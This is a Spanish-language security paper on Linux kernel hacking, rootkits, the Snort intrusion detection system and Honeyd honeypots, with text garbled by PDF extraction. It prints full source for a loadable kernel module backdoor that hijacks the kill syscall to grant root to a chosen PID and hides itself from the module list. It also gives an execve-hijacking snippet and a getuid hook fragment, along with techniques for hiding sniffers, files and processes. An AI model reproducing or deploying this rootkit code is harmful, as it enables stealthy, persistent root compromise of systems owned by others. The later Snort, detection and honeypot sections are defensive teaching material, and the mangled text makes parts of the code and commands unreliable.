sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 16: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

